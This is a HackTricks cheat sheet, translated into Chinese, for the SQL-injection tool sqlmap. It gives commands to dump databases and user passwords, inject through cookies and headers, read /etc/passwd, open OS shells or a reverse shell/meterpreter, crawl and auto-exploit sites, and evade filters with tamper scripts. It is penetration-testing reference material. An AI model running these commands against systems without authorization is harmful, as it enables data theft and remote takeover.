> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/sql-injection/sqlmap.md).

# SQLMap - Cheetsheat

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/Sk2ufgoXhHKAYGBttFiX" alt=""><figcaption></figcaption></figure>

**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试，拥有20多种工具和功能，从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块，让他们有更多时间深入挖掘、弹出shell并享受乐趣。

{% embed url="<https://pentest-tools.com/>" %}

## SQLmap的基本参数

### 通用

```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```

### 检索信息

#### 内部

```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
```

#### 数据库数据

```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```

## 注入位置

### 从Burp/ZAP捕获

捕获请求并创建一个req.txt文件

```bash
sqlmap -r req.txt --current-user
```

### GET请求注入

```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```

### POST请求注入

```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```

### 头部和其他 HTTP 方法中的注入

```bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'
```

### 注明注入成功时的字符串

```bash
--string="string_showed_when_TRUE"
```

### Eval

**Sqlmap** 允许使用 `-e` 或 `--eval` 来在发送每个有效负载之前使用一些 Python 一行代码进行处理。这使得在发送有效负载之前以自定义方式处理有效负载变得非常简单和快速。在以下示例中，**flask cookie session** 在发送之前由 flask 使用已知的密钥进行签名：

```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```

### Shell

### Shell

```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```

### 读取文件

```bash
--file-read=/etc/passwd
```

### 使用SQLmap爬取网站并自动利用漏洞

```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### 二次注入

```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

[**阅读这篇文章**](/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)**，了解如何使用sqlmap执行简单和复杂的二阶注入。**

## 自定义注入

### 设置后缀

```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

### 前缀

```bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "
```

### 帮助找到布尔注入

```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```

### 篡改

记住**你可以在Python中创建自己的篡改器**，而且非常简单。你可以在[二次注入页面](/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)中找到一个篡改器示例。

```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```

| Tamper                       | 描述                                                            |
| ---------------------------- | ------------------------------------------------------------- |
| apostrophemask.py            | 用其UTF-8全角对应字符替换撇号字符                                           |
| apostrophenullencode.py      | 用其非法的双Unicode对应字符替换撇号字符                                       |
| appendnullbyte.py            | 在有效载荷末尾附加编码的NULL字节字符                                          |
| base64encode.py              | 对给定有效载荷中的所有字符进行Base64编码                                       |
| between.py                   | 将大于运算符（'>'）替换为'NOT BETWEEN 0 AND #'                           |
| bluecoat.py                  | 在SQL语句后的空格字符后替换为有效的随机空白字符。然后将字符'='替换为LIKE运算符                  |
| chardoubleencode.py          | 对给定有效载荷中的所有字符进行双重URL编码（不处理已编码的字符）                             |
| commalesslimit.py            | 将类似'LIMIT M, N'的实例替换为'LIMIT N OFFSET M'                       |
| commalessmid.py              | 将类似'MID(A, B, C)'的实例替换为'MID(A FROM B FOR C)'                  |
| concat2concatws.py           | 将类似'CONCAT(A, B)'的实例替换为'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py                | 对给定有效载荷中的所有字符进行URL编码（不处理已编码的字符）                               |
| charunicodeencode.py         | 对给定有效载荷中未编码的字符进行Unicode URL编码（不处理已编码的字符）。"%u0022"             |
| charunicodeescape.py         | 对给定有效载荷中未编码的字符进行Unicode URL编码（不处理已编码的字符）。"\u0022"             |
| equaltolike.py               | 将所有等号运算符（'='）替换为LIKE运算符                                       |
| escapequotes.py              | 斜杠转义引号（'和"）                                                   |
| greatest.py                  | 将大于运算符（'>'）替换为'GREATEST'对应字符                                  |
| halfversionedmorekeywords.py | 在每个关键字之前添加版本化的MySQL注释                                         |
| ifnull2ifisnull.py           | 将类似'IFNULL(A, B)'的实例替换为'IF(ISNULL(A), B, A)'                  |
| modsecurityversioned.py      | 用版本化注释包围完整查询                                                  |
| modsecurityzeroversioned.py  | 用零版本化注释包围完整查询                                                 |
| multiplespaces.py            | 在SQL关键字周围添加多个空格                                               |
| nonrecursivereplacement.py   | 用适合替换的表示形式替换预定义的SQL关键字（例如.replace("SELECT", ""))过滤器           |
| percentage.py                | 在每个字符前添加百分号（'%'）                                              |
| overlongutf8.py              | 转换给定有效载荷中的所有字符（不处理已编码的字符）                                     |
| randomcase.py                | 将每个关键字字符替换为随机大小写值                                             |
| randomcomments.py            | 向SQL关键字添加随机注释                                                 |
| securesphere.py              | 附加特殊制作的字符串                                                    |
| sp\_password.py              | 在有效载荷末尾附加'sp\_password'以自动混淆DBMS日志中的内容                        |
| space2comment.py             | 将空格字符（' '）替换为注释                                               |
| space2dash.py                | 将空格字符（' '）替换为破折号注释（'--'）后跟随一个随机字符串和一个换行符('\n')                |
| space2hash.py                | 将空格字符（' '）替换为井号字符（'#'）后跟随一个随机字符串和一个换行符('\n')                  |
| space2morehash.py            | 将空格字符（' '）替换为井号字符（'#'）后跟随一个随机字符串和一个换行符('\n')                  |
| space2mssqlblank.py          | 将空格字符（' '）替换为来自有效备用字符集的随机空白字符                                 |
| space2mssqlhash.py           | 将空格字符（' '）替换为井号字符（'#'）后跟随一个换行符('\n')                          |
| space2mysqlblank.py          | 将空格字符（' '）替换为来自有效备用字符集的随机空白字符                                 |
| space2mysqldash.py           | 将空格字符（' '）替换为破折号注释（'--'）后跟随一个换行符('\n')                        |
| space2plus.py                | 将空格字符（' '）替换为加号（'+'）                                          |
| space2randomblank.py         | 将空格字符（' '）替换为来自有效备用字符集的随机空白字符                                 |
| symboliclogical.py           | 将AND和OR逻辑运算符替换为它们的符号对应字符（&&和                                  |
| unionalltounion.py           | 将UNION ALL SELECT替换为UNION SELECT                              |
| unmagicquotes.py             | 将引号字符（'）替换为多字节组合%bf%27，并在末尾添加通用注释（使其起作用）                      |
| uppercase.py                 | 将每个关键字字符替换为大写值'INSERT'                                        |
| varnish.py                   | 附加HTTP头'X-originating-IP'                                     |
| versionedkeywords.py         | 将每个非函数关键字用版本化的MySQL注释括起来                                      |
| versionedmorekeywords.py     | 将每个关键字用版本化的MySQL注释括起来                                         |
| xforwardedfor.py             | 附加伪造的HTTP头'X-Forwarded-For'                                   |

<figure><img src="/files/Sk2ufgoXhHKAYGBttFiX" alt=""><figcaption></figcaption></figure>

**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试，使用20多种工具和功能，从侦察到报告。我们不取代渗透测试人员-我们开发定制工具、检测和利用模块，让他们有更多时间深入挖掘、弹出shell并享受乐趣。

{% embed url="<https://pentest-tools.com/>" %}

<details>

<summary><strong>从零开始成为AWS黑客大师，使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>学习AWS黑客技术！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/sqlmap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
